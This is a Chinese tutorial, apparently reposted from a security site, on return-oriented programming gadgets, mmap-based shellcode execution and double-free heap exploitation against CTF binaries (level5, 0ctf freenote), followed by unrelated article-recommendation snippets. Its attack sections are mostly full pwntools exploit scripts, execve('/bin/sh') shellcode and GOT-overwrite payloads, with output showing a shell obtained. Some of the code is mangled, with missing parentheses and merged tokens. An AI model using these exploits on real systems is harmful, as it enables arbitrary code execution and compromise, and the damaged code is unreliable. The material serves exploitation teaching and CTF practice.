一步一步学ROP之gadgets和2free篇

ROPgadget使用 需要注意的是,ROPgadget只是工具的一部分,成功的ROP攻击还需要深入理解目标二进制文件的结构行为,以及攻击场景的具体细节。此外,随着软件安全性的提高漏洞修复的不断进行,可用的gadgets可能会变得越来越少,因此在使用ROPgadget时,最好与其他工具技术结合起来进行更全面的分析利用开发。ROPgadget是一种基于代码复用技术的攻击工具,它可以帮助攻击者在二进制文件中找到可利用的代码片段(即ROP链中的gadgets),从而构建出有效的攻击载荷。是你想要分析的二进制文件的路径, 阅读详情

原文: http://drops.wooyun.org/binary/10638

0x00序


ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术,可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。上次我们主要讨论了linux_x64的ROP攻击。

一步一步学ROP之linux_x86篇http://drops.wooyun.org/tips/6597

一步一步学ROP之linux_x64篇http://drops.wooyun.org/papers/7551

在这次的教程中我们会带来通用gadgets和堆漏洞利用的技巧,欢迎大家继续学习。

另外文中涉及代码可在我的github下载:https://github.com/zhengmin1989/ROP_STEP_BY_STEP

0x01 通用 gadgets part2


上次讲到了__libc_csu_init()的一条万能gadgets,其实不光__libc_csu_init()里的代码可以利用,默认gcc还会有如下自动编译进去的函数可以用来查找gadgets。

_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini

除此之外在程序执行的过程中,CPU只会关注于PC指针的地址,并不会关注是否执行了编程者想要达到的效果。因此,通过控制PC跳转到某些经过稍微偏移过的地址会得到意想不到的效果。

比如说说我们反编译一下__libc_csu_init()这个函数的尾部:

gdb-peda$ disas __libc_csu_init
Dump of assembler code for function __libc_csu_init:
……
   0x0000000000400606 <+102>:   movrbx,QWORD PTR [rsp+0x8]
   0x000000000040060b <+107>:   movrbp,QWORD PTR [rsp+0x10]
   0x0000000000400610 <+112>:   mov    r12,QWORD PTR [rsp+0x18]
   0x0000000000400615 <+117>:   mov    r13,QWORD PTR [rsp+0x20]
   0x000000000040061a <+122>:   mov    r14,QWORD PTR [rsp+0x28]
   0x000000000040061f <+127>:   mov    r15,QWORD PTR [rsp+0x30]
   0x0000000000400624 <+132>:   add    rsp,0x38
   0x0000000000400628 <+136>:   ret  

可以发现我们可以通过rsp控制r12-r15的值,但我们知道x64下常用的参数寄存器是rdi和rsi,控制r12-r15并没有什么太大的用处。不要慌,虽然原程序本身用是为了控制r14和r15寄存器的值。如下面的反编译所示:

gdb-peda$ x/5i 0x000000000040061a
   0x40061a <__libc_csu_init+122>:  mov    r14,QWORD PTR [rsp+0x28]
   0x40061f <__libc_csu_init+127>:  mov    r15,QWORD PTR [rsp+0x30]
   0x400624 <__libc_csu_init+132>:  add    rsp,0x38
   0x400628 <__libc_csu_init+136>:  ret  

但是我们如果简单的对pc做个位移再反编译,我们就会发现esi和edi的值可以被我们控制了!如下面的反编译所示:

gdb-peda$ x/5i 0x000000000040061b
   0x40061b <__libc_csu_init+123>:  movesi,DWORD PTR [rsp+0x28]
   0x40061f <__libc_csu_init+127>:  mov    r15,QWORD PTR [rsp+0x30]
   0x400624 <__libc_csu_init+132>:  add    rsp,0x38
   0x400628 <__libc_csu_init+136>:  ret    
   0x400629:    nop    DWORD PTR [rax+0x0]
gdb-peda$ x/5i 0x0000000000400620
   0x400620 <__libc_csu_init+128>:  movedi,DWORD PTR [rsp+0x30]
   0x400624 <__libc_csu_init+132>:  add    rsp,0x38
   0x400628 <__libc_csu_init+136>:  ret    
   0x400629:    nop    DWORD PTR [rax+0x0]
   0x400630 <__libc_csu_fini>:  repz ret 

虽然edi和esi只能控制低32位的数值,但已经可以满足我们的很多的rop需求了。

除了程序默认编译进去的函数,如果我们能得到libc.so或者其他库在内存中的地址,就可以获得到大量的可用的gadgets。比如上一篇文章中提到的通用gadget只能控制三个参数寄存器的值并且某些值只能控制32位,如果我们想要控制多个参数寄存器的值的话只能去寻找其他的gadgets了。这里就介绍一个_dl_runtime_resolve()中的gadget,通过这个gadget可以控制六个64位参数寄存器的值,当我们使用参数比较多的函数的时候(比如mmap和mprotect)就可以派上用场了。

我们把_dl_runtime_resolve反编译可以得到:

0x7ffff7def200 <_dl_runtime_resolve>:   sub    rsp,0x38
0x7ffff7def204 <_dl_runtime_resolve+4>: mov    QWORD PTR [rsp],rax
0x7ffff7def208 <_dl_runtime_resolve+8>: mov    QWORD PTR [rsp+0x8],rcx
0x7ffff7def20d <_dl_runtime_resolve+13>:    mov    QWORD PTR [rsp+0x10],rdx
0x7ffff7def212 <_dl_runtime_resolve+18>:    mov    QWORD PTR [rsp+0x18],rsi
0x7ffff7def217 <_dl_runtime_resolve+23>:    mov    QWORD PTR [rsp+0x20],rdi
0x7ffff7def21c <_dl_runtime_resolve+28>:    mov    QWORD PTR [rsp+0x28],r8
0x7ffff7def221 <_dl_runtime_resolve+33>:    mov    QWORD PTR [rsp+0x30],r9
0x7ffff7def226 <_dl_runtime_resolve+38>:    movrsi,QWORD PTR [rsp+0x40]
0x7ffff7def22b <_dl_runtime_resolve+43>:    movrdi,QWORD PTR [rsp+0x38]
0x7ffff7def230 <_dl_runtime_resolve+48>:    call   0x7ffff7de8680 <_dl_fixup>
0x7ffff7def235 <_dl_runtime_resolve+53>:    mov    r11,rax
0x7ffff7def238 <_dl_runtime_resolve+56>:    mov    r9,QWORD PTR [rsp+0x30]
0x7ffff7def23d <_dl_runtime_resolve+61>:    mov    r8,QWORD PTR [rsp+0x28]
0x7ffff7def242 <_dl_runtime_resolve+66>:    movrdi,QWORD PTR [rsp+0x20]
0x7ffff7def247 <_dl_runtime_resolve+71>:    movrsi,QWORD PTR [rsp+0x18]
0x7ffff7def24c <_dl_runtime_resolve+76>:    movrdx,QWORD PTR [rsp+0x10]
0x7ffff7def251 <_dl_runtime_resolve+81>:    movrcx,QWORD PTR [rsp+0x8]
0x7ffff7def256 <_dl_runtime_resolve+86>:    movrax,QWORD PTR [rsp]
0x7ffff7def25a <_dl_runtime_resolve+90>:    add    rsp,0x48
0x7ffff7def25e <_dl_runtime_resolve+94>:    jmp    r11

0x7ffff7def235开始,就是这个通用gadget的地址了。通过这个gadget我们可以控制rdi,rsi,rdx,rcx, r8,r9的值。但要注意的是_dl_runtime_resolve()在内存中的地址是随机的。所以我们需要先用information leak得到_dl_runtime_resolve()在内存中的地址。那么_dl_runtime_resolve()的地址被保存在了哪个固定的地址呢?

通过反编译level5程序我们可以看到write@plt()这个函数使用PLT [0] 去查找write函数在内存中的地址,函数jump过去的地址*0x600ff8其实就是_dl_runtime_resolve()在内存中的地址了。所以只要获取到0x600ff8这个地址保存的数据,就能够找到_dl_runtime_resolve()在内存中的地址:

0000000000400420 <write@plt-0x10>:
  400420:   ff 35 ca 0b 20 00       pushq  0x200bca(%rip)        # 600ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
  400426:   ff 25 cc 0b 20 00       jmpq   *0x200bcc(%rip)        # 600ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
  40042c:   0f 1f 40 00             nopl   0x0(%rax)

gdb-peda$ x/x 0x600ff8
0x600ff8 <_GLOBAL_OFFSET_TABLE_+16>:    0x00007ffff7def200

gdb-peda$ x/21i 0x00007ffff7def200
   0x7ffff7def200 <_dl_runtime_resolve>:    sub    rsp,0x38
   0x7ffff7def204 <_dl_runtime_resolve+4>:  mov    QWORD PTR [rsp],rax
   0x7ffff7def208 <_dl_runtime_resolve+8>:  mov    QWORD PTR [rsp+0x8],rcx
   0x7ffff7def20d <_dl_runtime_resolve+13>: mov    QWORD PTR 
[rsp+0x10],rdx
….

另一个要注意的是,想要利用这个gadget,我们还需要控制rax的值,因为gadget是通过rax跳转的:

0x7ffff7def235 <_dl_runtime_resolve+53>:    mov    r11,rax
……
0x7ffff7def25e <_dl_runtime_resolve+94>:    jmp    r11

所以我们接下来用ROPgadget查找一下libc.so中控制rax的gadget:

ROPgadget --binary libc.so.6 --only "pop|ret" | grep "rax"
0x000000000001f076 : pop rax ; pop rbx ; pop rbp ; ret
0x0000000000023950 : pop rax ; ret
0x000000000019176e : pop rax ; ret 0xffed
0x0000000000123504 : pop rax ; ret 0xfff0

0x0000000000023950刚好符合我们的要求。有了pop rax_dl_runtime_resolve这两个gadgets,我们就可以很轻松的调用想要的调用的函数了。

0x02 利用mmap执行任意shellcode


看了这么多rop后是不是感觉我们利用rop只是用来执行system有点太不过瘾了?另外网上和msf里有那么多的shellcode难道在默认开启DEP的今天已经没有用处了吗?并不是的,我们可以通过mmap或者mprotect将某块内存改成RWX(可读可写可执行),然后将shellcode保存到这块内存,然后控制pc跳转过去就可以执行任意的shellcode了,比如说建立一个socket连接等。下面我们就结合上一节中提到的通用gadgets来让程序执行一段shellcode。

我们测试的目标程序还是level5。在exp中,我们首先用上一篇中提到的_dl_runtime_resolve中的通用gadgets泄露出got_write_dl_runtime_resolve的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#rdi=  edi = r13,  rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1  =    "\x00" * 136
payload1  + =   p64( 0x400606 ) +   p64( 0 ) + p64( 0 ) +   p64( 1 ) +   p64(got_write) +   p64( 1 ) +   p64(got_write) +   p64( 8 ) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1  + =   p64( 0x4005F0 ) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8]
payload1  + =   "\x00" * 56
payload1  + =   p64(main)
 
#rdi=  edi = r13,  rsi = r14, rdx = r15
#write(rdi=1, rsi=linker_point, rdx=4)
payload2  =    "\x00" * 136
payload2  + =   p64( 0x400606 ) +   p64( 0 ) + p64( 0 ) +   p64( 1 ) +   p64(got_write) +   p64( 1 ) +   p64(linker_point) +   p64( 8 ) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2  + =   p64( 0x4005F0 ) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8]
payload2  + =   "\x00" * 56
payload2  + =   p64(main)

随后就可以根据偏移量和泄露的地址计算出其他gadgets的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
shellcode  =   "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" +
               "\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" +
               "\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" )
 
shellcode_addr  =   0xbeef0000
 
#mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0)
payload3  =    "\x00" * 136
payload3  + =   p64(pop_rax_ret)  +   p64(mmap_addr)
payload3  + =   p64(linker_addr + 0x35 ) +   p64( 0 ) +   p64( 34 ) +   p64( 7 ) +   p64( 1024 ) +   p64(shellcode_addr) +   p64( 0 ) +   p64( 0 ) +   p64( 0 ) +   p64( 0 )
 
#read(rdi=0, rsi=shellcode_addr, rdx=1024)
payload3  + =   p64(pop_rax_ret)  +   p64(plt_read)
payload3  + =   p64(linker_addr + 0x35 ) +   p64( 0 ) +   p64( 0 ) +   p64( 1024 ) +   p64(shellcode_addr) +   p64( 0 ) +   p64( 0 ) +   p64( 0 ) +   p64( 0 ) +   p64( 0 )
 
payload3  + =   p64(shellcode_addr)

然后我们利用_dl_runtime_resolve里的通用gadgets调用mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0),开辟一段RWX的内存在0xbeef0000处。随后我们使用read(rdi=0, rsi=shellcode_addr, rdx=1024),把我们想要执行的shellcode读入到0xbeef0000这段内存中。最后再将指针跳转到shellcode处就可执行我们想要执行的任意代码了。

完整的exp8.py代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env python
frompwn  import *   
 
elf  = ELF( 'level5' )
libc  = ELF( 'libc.so.6' )
 
= process( './level5' )
#p = remote('127.0.0.1',10001) 
 
got_write  =   elf.got[ 'write' ]
print "got_write: "   + hex (got_write)
got_read  =   elf.got[ 'read' ]
print "got_read: "   + hex (got_read)
plt_read  =   elf.symbols[ 'read' ]
print "plt_read: "   + hex (plt_read)
linker_point  =   0x600ff8
print "linker_point: "   +   hex (linker_point)
got_pop_rax_ret =   0x0000000000023970
print "got_pop_rax_ret: "   +   hex (got_pop_rax_ret)   
 
main  = 0x400564
 
off_system_addr =   libc.symbols[ 'write' ] -   libc.symbols[ 'system' ]
print "off_system_addr: "   +   hex (off_system_addr)
off_mmap_addr  =   libc.symbols[ 'write' ] -   libc.symbols[ 'mmap' ]
print "off_mmap_addr: "   +   hex (off_mmap_addr)
off_pop_rax_ret =   libc.symbols[ 'write' ] -   got_pop_rax_ret
print "off_pop_rax_ret: "   +   hex (off_pop_rax_ret)   
 
#rdi=  edi = r13,  rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1  =    "\x00" * 136
payload1  + =   p64( 0x400606 ) +   p64( 0 ) + p64( 0 ) +   p64( 1 ) +   p64(got_write) +   p64( 1 ) +   p64(got_write) +   p64( 8 ) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1  + =   p64( 0x4005F0 ) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8]
payload1  + =   "\x00" * 56
payload1  + =   p64(main)  
 
p.recvuntil( "Hello, World\n" )  
 
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep( 1 )   
 
write_addr  =   u64(p.recv( 8 ))
print "write_addr: "   + hex (write_addr)
mmap_addr  =   write_addr  -   off_mmap_addr
print "mmap_addr: "   + hex (mmap_addr)
pop_rax_ret  =   write_addr  -   off_pop_rax_ret
print "pop_rax_ret: "   + hex (pop_rax_ret)   
 
#rdi=  edi = r13,  rsi = r14, rdx = r15
#write(rdi=1, rsi=linker_point, rdx=4)
payload2  =    "\x00" * 136
payload2  + =   p64( 0x400606 ) +   p64( 0 ) + p64( 0 ) +   p64( 1 ) +   p64(got_write) +   p64( 1 ) +   p64(linker_point) +   p64( 8 ) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2  + =   p64( 0x4005F0 ) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8]
payload2  + =   "\x00" * 56
payload2  + =   p64(main)  
 
p.recvuntil( "Hello, World\n" )  
 
print "\n#############sending payload2#############\n"
p.send(payload2)
sleep( 1 )   
 
linker_addr  =   u64(p.recv( 8 ))
print "linker_addr + 0x35: "   +   hex (linker_addr +   0x35
 
p.recvuntil( "Hello, World\n" )  
 
shellcode  =   "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" +
               "\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" +
               "\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
 
#   GADGET
#   0x7ffff7def235 <_dl_runtime_resolve+53>:    mov    r11,rax
#   0x7ffff7def238 <_dl_runtime_resolve+56>:    mov    r9,QWORD PTR [rsp+0x30]
#   0x7ffff7def23d <_dl_runtime_resolve+61>:    mov    r8,QWORD PTR [rsp+0x28]
#   0x7ffff7def242 <_dl_runtime_resolve+66>:    movrdi,QWORD PTR [rsp+0x20]
#   0x7ffff7def247 <_dl_runtime_resolve+71>:    movrsi,QWORD PTR [rsp+0x18]
#   0x7ffff7def24c <_dl_runtime_resolve+76>:    movrdx,QWORD PTR [rsp+0x10]
#   0x7ffff7def251 <_dl_runtime_resolve+81>:    movrcx,QWORD PTR [rsp+0x8]
#   0x7ffff7def256 <_dl_runtime_resolve+86>:    movrax,QWORD PTR [rsp]
#   0x7ffff7def25a <_dl_runtime_resolve+90>:    add    rsp,0x48
#   0x7ffff7def25e <_dl_runtime_resolve+94>:    jmp    r11 
 
shellcode_addr =   0xbeef0000
 
#mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0)
payload3  =    "\x00" * 136
payload3  + =   p64(pop_rax_ret)  +   p64(mmap_addr)
payload3  + =   p64(linker_addr + 0x35 ) +   p64( 0 ) +   p64( 34 ) +   p64( 7 ) +   p64( 1024 ) +   p64(shellcode_addr) +   p64( 0 ) +   p64( 0 ) +   p64( 0 ) +   p64( 0 )
 
#read(rdi=0, rsi=shellcode_addr, rdx=1024)
payload3  + =   p64(pop_rax_ret)  +   p64(plt_read)
payload3  + =   p64(linker_addr + 0x35 ) +   p64( 0 ) +   p64( 0 ) +   p64( 1024 ) +   p64(shellcode_addr) +   p64( 0 ) +   p64( 0 ) +   p64( 0 ) +   p64( 0 ) +   p64( 0
 
payload3  + =   p64(shellcode_addr)
 
print "\n#############sending payload3#############\n"
p.send(payload3)
sleep( 1 )   
 
#raw_input()   
 
p.send(shellcode + "\n" )
sleep( 1 )   
 
p.interactive()

成功pwn后的效果如下:

$ python exp8.py 
[+] Started program './level5'
got_write: 0x601000
got_read: 0x601008
plt_read: 0x400440
linker_point: 0x600ff8
got_pop_rax_ret: 0x23950
off_mmap_addr: -0x9770
off_pop_rax_ret: 0xc2670

#############sending payload1#############

write_addr: 0x7f9d39d95fc0
mmap_addr: 0x7f9d39d9f730
pop_rax_ret: 0x7f9d39cd3950

#############sending payload2#############

linker_addr + 0x35: 0x7f9d3a083235

#############sending payload3#############

[*] Switching to interactive mode
$ whoami
mzheng

0x03 堆漏洞利用之double free


讲了那么多stack overflow的例子,我们现在换换口味,先从double free开始讲一下堆漏洞的利用。Double free的意思是一个已经被free的内存块又被free了第二次。正常情况下,如果double free,系统会检测出该内存块已经被free过了,不能被free第二次,程序会报错然后退出。但是如果我们精心构造一个假的内存块就可骗过系统的检测,然后得到内存地址任意写的权限。随后就可以修改got表将接下来会执行的函数替换成system()再将参数改为我们想要执行的指令,比如"/bin/sh"。最后就可以执行system("/bin/sh")了。

想要学习double free,首先要了解什么是free chunk和allocated chunk。这个在网上有大量的资料,请感兴趣的同学自学。

picture_p13

然后要了解Fast bin,Unsorted bin,Small bin和Large bin的概念。这个可以看这篇文章学习:

https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/

除此之外还有个gdb工具可以帮助我们查看内存中堆的信息,这对我们调试程序会有很大的帮助:

https://github.com/cloudburst/libheap

等到对堆的基本概念了解的差多了就可以学习如何利用unlink来做到内存写了。在最早版本的unlink中对内存chunk是没有任何检测的,因此我们可以很容易的做到内存任意写。但现在版本的libc中会对free的那个chunk进行检测,这个chunk的前一个chunk的bk指针和这个chunk的后一个chunk的fd指针必须指向这个即将free的chunk才行。为了bypass这个检测,我们必须在内存中找到一个地址X指向P,然后将P的fd和bk指向X。最后再触发double free的unlink,就可以将P地址的值设置为X了。

picture_p14

我们这次使用0ctf中的freenote这道题来实践一下double free漏洞的利用。执行这个程序我能看到这其实就是一个note记事本程序。通过new note和delete note可以malloc()和free()内存。

$ ./freenote_x64 
== 0ops Free Note ==
1. List Note
2. New Note
3. Edit Note
4. Delete Note
5. Exit
====================

但是这个程序有两个漏洞,一个是建立新note的时候在note的结尾处没有加"\0"因此会造成堆或者栈的地址泄露,另一个问题就是在delete note的时候,并不会检测这个note是不是已经被删除过了,因此可以删除一个note两遍,造成double free。

首先我们要泄露libc和heap在内存中的地址。因为note的结尾没有"\0",因此在输出时会把后面的内容打印出来。因为freelist的头部保存在了libc的.bss段,因此我们可以见通过删除两个note再删除一个note,然后再建立一个新note的方法来泄露出libc在内存中的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
notelen = 0x80
 
new_note( "A" * notelen)
new_note( "B" * notelen)
delete_note( 0 )
 
new_note( "\xb8" )
list_note()
p.recvuntil( "0. " )
leak  = p.recvuntil( "\n" )
 
print leak[ 0 : - 1 ].encode( 'hex' )
leaklibcaddr  =   u64(leak[ 0 : - 1 ].ljust( 8 , '\x00' ))
print hex (leaklibcaddr)
delete_note( 1 )
delete_note( 0 )
 
system_sh_addr =   leaklibcaddr -   0x3724a8
print "system_sh_addr: "   +   hex (system_sh_addr)
binsh_addr  =   leaklibcaddr  -   0x23e7f1
print "binsh_addr: "   + hex (binsh_addr)

同样的如果让某个非使用中 chunk 的fd栏位指向另一个 chunk,并且让note的内容刚好接上,就可以把 chunk在堆上的位置给洩漏出来。这样我们就能得到堆的基址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
notelen = 0x10   
 
new_note( "A" * notelen)
new_note( "B" * notelen)
new_note( "C" * notelen)
new_note( "D" * notelen)
delete_note( 2 )
delete_note( 0
 
new_note( "AAAAAAAA" )
list_note()
p.recvuntil( "0. AAAAAAAA" )
leak  = p.recvuntil( "\n" )   
 
print leak[ 0 : - 1 ].encode( 'hex' )
leakheapaddr  =   u64(leak[ 0 : - 1 ].ljust( 8 , '\x00' ))
print hex (leakheapaddr)
 
delete_note( 0 )
delete_note( 1 )
delete_note( 3
 
notelen  =   0x80 
 
new_note( "A" * notelen)
new_note( "B" * notelen)
new_note( "C" * notelen)  
 
delete_note( 2 )
delete_note( 1 )
delete_note( 0 )

通过泄露的libc地址我们可以计算出system()函数和"/bin/sh"字符串在内存中的地址,通过泄露的堆的地址我们能得到note table的地址。然后我们构造一个假的note,利用使用double free的漏洞触发unlink,将note0的位置指向note table的地址。随后我们就可以通过编辑note0来编辑note table了。通过编辑note table我们把note0指向free()函数在got表中的地址,把note1指向"/bin/sh"在内存中的地址。然后我们编辑note0把free()函数在got表中的地址改为system()的地址。最后我们执行delete note1操作。因为我们把note1的地址指向了"/bin/sh",所以正常情况下程序会执行free("/bin/sh"),但别忘了我们修改了got表中free的地址,所以程序会执行system("/bin/sh"),最终达到了我们的目的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
fd  = leakheapaddr  - 0x1808   #notetable
bk  = fd  +   0x8  
 
payload   =   ""
payload  + = p64( 0x0 ) +   p64(notelen + 1 ) +   p64(fd)  +   p64(bk)  + "A"   *   (notelen  -   0x20 )
payload  + = p64(notelen)  + p64(notelen + 0x10 ) +   "A" *   notelen
payload  + = p64( 0 ) +   p64(notelen + 0x11 ) + "\x00"   *   (notelen - 0x20
 
new_note(payload)  
 
delete_note( 1
 
free_got  =   0x602018
 
payload2  =   p64(notelen)  +   p64( 1 ) +   p64( 0x8 ) +   p64(free_got) +   "A" * 16 +   p64(binsh_addr)
payload2  + =   "A" *   (notelen * 3 - len (payload2)) 
 
edit_note( 0 , payload2)
edit_note( 0 , p64(system_sh_addr))  
 
delete_note( 1
 
p.interactive()

执行exp的结果如下:

$ python exp9.py 
[+] Started program './freenote_x64'
b8a75eb2b57f
0x7fb5b25ea7b8
system_sh_addr: 0x7fb5b2278310
binsh_addr: 0x7fb5b23abfc7
20684b02
0x24b6820
[*] Switching to interactive mode
$ whoami
mzheng

0x04 总结


除了64位的freenote,blue-lotus还弄了一个32位版的freenote给大家练习。这些binary和exp都可以在我的github上下载到:

https://github.com/zhengmin1989/ROP_STEP_BY_STEP

另外,下篇我会带来arm上rop的利用,敬请期待。

0x05 参考资料


  1. http://v0ids3curity.blogspot.com/2013/07/some-gadget-sequence-for-x8664-rop.html
  2. 掘金ctf
Ropgadgetropchain的详细分析 通常情况下,由于程序的输入长度有限制,而ROPgadget生成的ropchain过长,导致ropchain无法适用,如果能够针对ropchain进行简单的修改的话,那便能减少构建rop链花费的心思。 阅读详情

相关推荐

SocketDebuggerFree-v2_00 的使用教程

SocketDebuggerFree-v2_00是一款免费的TCP/UDP网络调试工具,支持模拟服务器/客户端、实时收发数据、十六进制/字符串视图切换等功能。操作步骤包括:1)启动程序选择协议类型;2)设置服务器/客户端模式;3)配置端口/IP参数;4)收发数据并支持自动应答;5)导出日志分析。该工具适用于网络应用测试、数据传输分析及问题排查,使用时需注意防火墙设置不同协议的特性差异,支持二进制数据调试的十六进制显示模式。

xianyinsuifeng的博客 543

ROPgadget:使用此工具,您可以在二进制文件中搜索小工具,以方便您对ROP的利用。 ROPgadget在x86,x64,ARMARM64,PowerPC,SPARCMIPS架构上支持ELF,PEMach-O格式

ROPgadget工具 使用此工具,您可以在二进制文件中搜索小工具,以方便您对ROP的利用。 ROPgadget在x86,x64,ARMARM64,PowerPC,SPARCMIPS体系结构上支持ELF / PE / Mach-O格式。 从版本5开始,ROPgadget具有一个新的内核,该内核是使用Capstone拆卸框架针对小工具搜索引擎用Python编写的-较旧的版本可以在Archives目录中找到,但将无法维护。 安装 如果要使用ROPgadget,则必须先安装 。 对于Capstone在nix机器上的安装: $ sudo pip install capstone Capstone支持多种平台(Windows,iOS,Android,cygwin ...)。 对于交叉编译,请参考文件。 安装Capstone后,ROPgadget可以用作独立工具: $ ROPgadget.

缓冲区溢出攻击与防御实战:从栈溢出到ROP与堆利用

缓冲区溢出是计算机安全领域的基础性漏洞,其核心原理在于程序向固定大小的缓冲区写入超出其容量的数据,导致相邻内存区域被覆盖。理解其底层机制,需要掌握进程内存布局、函数调用约定以及关键寄存器(如EIP)的作用。这项技术的价值在于揭示了软件安全与内存管理之间的紧密联系,是理解现代漏洞利用与防护技术的基石。其应用场景广泛,从经典的栈溢出攻击到绕过数据执行保护(DEP)的返回导向编程(ROP),再到复杂的堆利用技术如Use-After-Free,都是安全研究与实践中的关键课题。本文通过栈溢出、ROP、堆溢出等具体实例

weixin_34059951的博客 340

PWN中的ROPgadget

文章目录 前言 一、什么时候使用ROP,以及怎么使用 二、平衡栈帧 总结 前言 ROPgadget是一种基于代码复用的一种攻击技术。 一、ROP的使用(其中一种) 我们做pwn的时候,一般我们的目标是找到system函数“/bin/sh”字符串,但是基本上pwn题是不会让你这么简单就解决了,他会隐藏system函数,/bin/sh字符串,此时我们就要用到ROP方法。 ROPgadget --binary rop --only 'pop|ret' //单引号中间的...

LL021101的博客 3893

基本ROPROPgadget

把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。例题: bamboofox 中的 ret2syscall。检查保护机制 堆栈不可执行 随机地址没开。获得 /bin/sh 字符串对应的地址。寻找控制 ebx 的gadgets。寻找控制 eax 的gadgets。利用gadgets获得shell。bx bin/sh的地址。int 80 的地址。

qq_62539372的博客 1239

CTF竞赛实战技巧:Security-Paper项目中的ROP与堆利用教程

在CTF竞赛中,ROP与堆利用是二进制安全领域的核心技能,掌握这些技巧能让你在内存漏洞利用方面游刃有余。Security-Paper项目收集了大量权威的安全研究资料,为你提供了习这些高级技术的绝佳资源。本文将基于项目中的经典论文教程,为你揭秘ROP与堆利用的实战技巧,帮助你在CTF比赛中脱颖而出!🚀 ## 📚 什么是ROP与堆利用? 在CTF二进制安全挑战中,**ROP**(Retur

gitblog_00913的博客 850

CTF PWN入门:从栈溢出原理到ROP利用实战

栈缓冲区溢出是二进制安全领域的经典漏洞类型,其核心原理在于程序向栈上固定大小的缓冲区写入超长数据,覆盖了相邻的关键控制数据。在函数调用过程中,返回地址保存在栈帧中,一旦被恶意数据覆盖,就能劫持程序执行流程。为了绕过现代操作系统普遍启用的NX(数据执行保护)机制,安全研究人员发展出了ROP(面向返回编程)技术,通过组合程序中已有的以ret指令结尾的短指令序列(gadget),构造出能实现任意功能(如执行系统命令)的利用链。这种技术广泛应用于CTF竞赛中的PWN题型现实世界的漏洞利用中,是理解二进制漏洞利用的

weixin_30338497的博客 508

二进制漏洞挖掘与利用实战:从模糊测试到ROP武器化

在软件安全领域,内存破坏漏洞是攻击者实现远程代码执行的关键突破口。其原理在于程序对用户输入缺乏边界检查,导致数据写入越界,从而覆盖关键内存结构(如函数指针、返回地址)。理解栈溢出、堆溢出、释放后重用等漏洞类型的技术价值,在于能够揭示软件在内存安全层面的根本缺陷,进而设计出更有效的防御机制。这些技术广泛应用于渗透测试、CTF竞赛高级威胁分析中,帮助安全研究人员评估系统韧性。本文聚焦于模糊测试ROP链构造这两个核心热词,系统拆解了从自动化漏洞发现到稳定利用载荷构建的完整工程路径,为实战攻防提供了一套可复用的

weixin_30824479的博客 475

64位系统栈溢出攻防:从ROP链构造到ASLR绕过实战

栈溢出是一种经典的软件漏洞,其原理是程序向栈上的缓冲区写入超出其容量的数据,导致相邻的关键数据(如函数返回地址)被覆盖。现代操作系统通过数据执行保护(DEP/NX)、地址空间布局随机化(ASLR)栈保护(Stack Canary)等多重机制协同防御,使得传统的shellcode注入攻击失效。为了绕过这些防护,攻击者发展出了面向返回编程(ROP)技术,其核心价值在于利用程序中已有的代码片段(Gadgets)拼凑出恶意功能链,从而在不可执行的内存环境下实现控制流劫持。ROP链的构造如同编程,需要根据目标架构(

weixin_34160277的博客 372

Pwn技术精要:汇编与内存模型实战解析

汇编语言是理解计算机底层运行机制的关键桥梁,尤其在二进制安全领域。通过解析x86架构的寄存器交互、内存寻址等核心原理,安全研究人员能够精准定位缓冲区溢出、use-after-free等内存漏洞。Linux内存模型中的.text段、堆栈布局等特性,直接影响着漏洞利用手法的选择。在CTF竞赛实际渗透测试中,掌握EBP寄存器作用、ROP链构造等技术,能有效突破NX/ASLR等现代防护机制。本文结合栈溢出堆漏洞的经典案例,演示如何将汇编知识与内存管理理论转化为实战能力。

weixin_30920597的博客 805

从XXE到沙盒逃逸:CVE-2023-4357漏洞深度分析与实战复现

